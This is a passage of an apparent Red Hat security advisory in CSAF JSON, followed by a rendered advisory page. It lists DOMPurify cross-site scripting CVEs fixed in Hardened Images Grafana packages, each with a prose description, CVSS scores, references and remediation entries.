          "text": "A flaw was found in DOMPurify. This cross-site scripting (XSS) vulnerability exists in IN_PLACE mode, where the software trusts attacker-controlled nodeName on live non-form nodes. A remote attacker can supply hostile live Document Object Model (DOM) objects with script children. These scripts can execute when the sanitized tree is inserted into a live document, potentially leading to information disclosure or arbitrary code execution.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Cross-site scripting vulnerability via attacker-controlled nodeName",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This cross-site scripting (XSS) vulnerability in DOMPurify arises when the library is used with `IN_PLACE: true` on attacker-supplied live DOM nodes. An attacker can manipulate a script child node\u0027s `nodeName` to bypass sanitization, leading to arbitrary script execution when the sanitized tree is inserted into a live document. This impacts Red Hat products that process untrusted live DOM content using DOMPurify in this specific configuration.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65901"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506432",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506432"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65901",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65901"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-cross-site-scripting-via-in-place-nodename",
          "url": "https://www.vulncheck.com/advisories/dompurify-cross-site-scripting-via-in-place-nodename"
        }
      ],
      "release_date": "2026-07-23T13:16:19.721000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Cross-site scripting vulnerability via attacker-controlled nodeName"
    },
    {
      "cve": "CVE-2026-65902",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-07-23T14:01:18.981314+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506431"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and attributes. This allows malicious content to bypass sanitization, potentially leading to cross-site scripting (XSS) attacks and compromising the integrity of web applications.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Sanitization bypass via hook manipulation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw in DOMPurify allows an attacker to bypass sanitization by manipulating internal hooks, leading to potential cross-site scripting (XSS) vulnerabilities. The issue permanently alters the default allow-lists for the DOMPurify instance when default configurations are used. Red Hat products, including Red Hat Hardened Images, are not affected by this vulnerability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65902"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506431",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506431"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65902",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65902"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/commit/7996f1dc78eb8b7922388aed75d94a9f8fad9a36",
          "url": "https://github.com/cure53/DOMPurify/commit/7996f1dc78eb8b7922388aed75d94a9f8fad9a36"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-hook-mutation-pollution-via-allowedtags",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-hook-mutation-pollution-via-allowedtags"
        }
      ],
      "release_date": "2026-07-23T13:16:20.528000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Sanitization bypass via hook manipulation"
    },
    {
      "cve": "CVE-2026-65911",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:29.460365+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506434"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. This vulnerability allows a remote attacker to perform cross-site scripting (XSS) by exploiting a state leakage issue. Specifically, function predicates used for adding attributes or tags during sanitization can persist across multiple calls to the `sanitize()` function. This persistence can lead to the approval of attacker-controlled attributes or tags, bypassing security filters and enabling the execution of malicious scripts in a user\u0027s browser.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "DOMPurify: DOMPurify: Cross-site scripting due to state leakage in sanitization.",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Moderate: A cross-site scripting (XSS) vulnerability was found in DOMPurify. This flaw occurs when DOMPurify.sanitize() is called on the same instance with function predicates for ADD_ATTR or ADD_TAGS, followed by a call using array predicates. This specific usage pattern can lead to the persistence of previously defined function handlers, allowing malicious attributes or tags to bypass sanitization. Red Hat products that utilize DOMPurify in such a dynamic configuration may be susceptible to XSS attacks.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65911"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506434",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506434"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65911",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65911"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65911",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65911"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-9p3w-6h5p-cv75",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-9p3w-6h5p-cv75"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-xss-via-add-attr-add-tags-state-leakage",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-xss-via-add-attr-add-tags-state-leakage"
        }
      ],
      "release_date": "2026-07-23T13:16:22.748000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "To mitigate this issue, applications utilizing DOMPurify should avoid reusing the same DOMPurify instance when dynamically switching between function and array predicates for ADD_ATTR or ADD_TAGS. Instead, a new DOMPurify instance should be initialized whenever the type of these predicates changes to ensure proper state reset.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "DOMPurify: DOMPurify: Cross-site scripting due to state leakage in sanitization."
    },
    {
      "cve": "CVE-2026-65912",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:05.987293+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506427"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. An attacker can bypass URI validation by providing a specially crafted predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. This allows unsafe protocols, such as javascript:, to persist after sanitization, potentially leading to DOM-based cross-site scripting (XSS) when a user activates a malicious link.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: URI validation bypass leads to cross-site scripting",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This cross-site scripting (XSS) vulnerability in DOMPurify arises when applications configure ADD_ATTR as a predicate function through EXTRA_ELEMENT_HANDLING.attributeCheck. An attacker could exploit this by crafting malicious input that bypasses URI validation, leading to the execution of unsafe javascript: protocols upon user interaction with a crafted link. This requires a specific, non-default configuration of the DOMPurify library within affected Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65912"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506427",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506427"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65912",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65912"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65912",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65912"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-uri-validation-bypass-via-add-attr",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-uri-validation-bypass-via-add-attr"
        }
      ],
      "release_date": "2026-07-23T13:16:23.406000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: URI validation bypass leads to cross-site scripting"
    },
    {
      "cve": "CVE-2026-65913",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:12.968162+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506429"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. This prototype pollution vulnerability, specifically when operating in USE_PROFILES mode, allows a remote attacker to bypass attribute filtering. By manipulating Array.prototype properties, an attacker can cause DOMPurify to accept event handlers as allowed attributes, leading to DOM-based Cross-Site Scripting (XSS) when the sanitized markup is rendered. This could result in the execution of malicious scripts in the user\u0027s browser.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Cross-Site Scripting (XSS) via prototype pollution in USE_PROFILES mode",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw in DOMPurify allows for Cross-Site Scripting (XSS) when the library is configured to use `USE_PROFILES` mode. An attacker could exploit a prototype pollution vulnerability to bypass attribute filtering, enabling the execution of arbitrary JavaScript within the user\u0027s browser upon rendering of sanitized markup. This impacts Red Hat products that integrate DOMPurify for HTML sanitization in web applications and explicitly enable the vulnerable `USE_PROFILES` mode.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65913"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506429",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506429"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65913",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65913"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65913",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65913"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-prototype-pollution-via-use-profiles",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-prototype-pollution-via-use-profiles"
        }
      ],
      "release_date": "2026-07-23T13:16:24.097000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Cross-Site Scripting (XSS) via prototype pollution in USE_PROFILES mode"
    },
    {
      "cve": "CVE-2026-65914",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:16.089459+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506430"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. This vulnerability, a type of Cross-Site Scripting (XSS), occurs when HTML that has been sanitized is reinserted into specific parsing contexts using innerHTML with certain HTML elements like `script` or `iframe`. An attacker can craft malicious input that, during re-parsing, can bypass the sanitization and execute arbitrary JavaScript code in the user\u0027s browser.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Cross-Site Scripting vulnerability allows arbitrary code execution",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Moderate-impact mutation-XSS vulnerability in DOMPurify allows for arbitrary code execution when sanitized HTML is reinserted into specific parsing contexts. However, Red Hat Hardened Images are not affected by this flaw.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65914"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506430",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506430"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65914"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65914",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65914"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-mutation-xss-via-re-contextualization",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-mutation-xss-via-re-contextualization"
        }
      ],
      "release_date": "2026-07-23T13:16:24.784000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Cross-Site Scripting vulnerability allows arbitrary code execution"
    }
  ]
}

RHSA-2026:58502

Vulnerability from csaf_redhat - Published: 2026-08-22 14:06 - Updated: 2026-08-25 09:33

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Moderate

Notes

Topic: An update for Red Hat Hardened Images RPMs is now available.

Details: This update includes the following RPMs: grafana13.1: * grafana13.1-13.1.3-0.1.3.hum1 (aarch64, x86_64) * grafana13.1-13.1.3-0.1.3.hum1.src (src)

CVE-2026-65898

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65899

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65901

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65902

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

References

34 references

URL	Category
https://access.redhat.com/errata/RHSA-2026:58502	self
https://images.redhat.com/	external
https://access.redhat.com/security/cve/CVE-2026-65902	external
https://access.redhat.com/security/updates/classi…	external
https://access.redhat.com/security/cve/CVE-2026-65898	external
https://access.redhat.com/security/cve/CVE-2026-65899	external
https://access.redhat.com/security/cve/CVE-2026-65901	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2026-65898	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506436	external
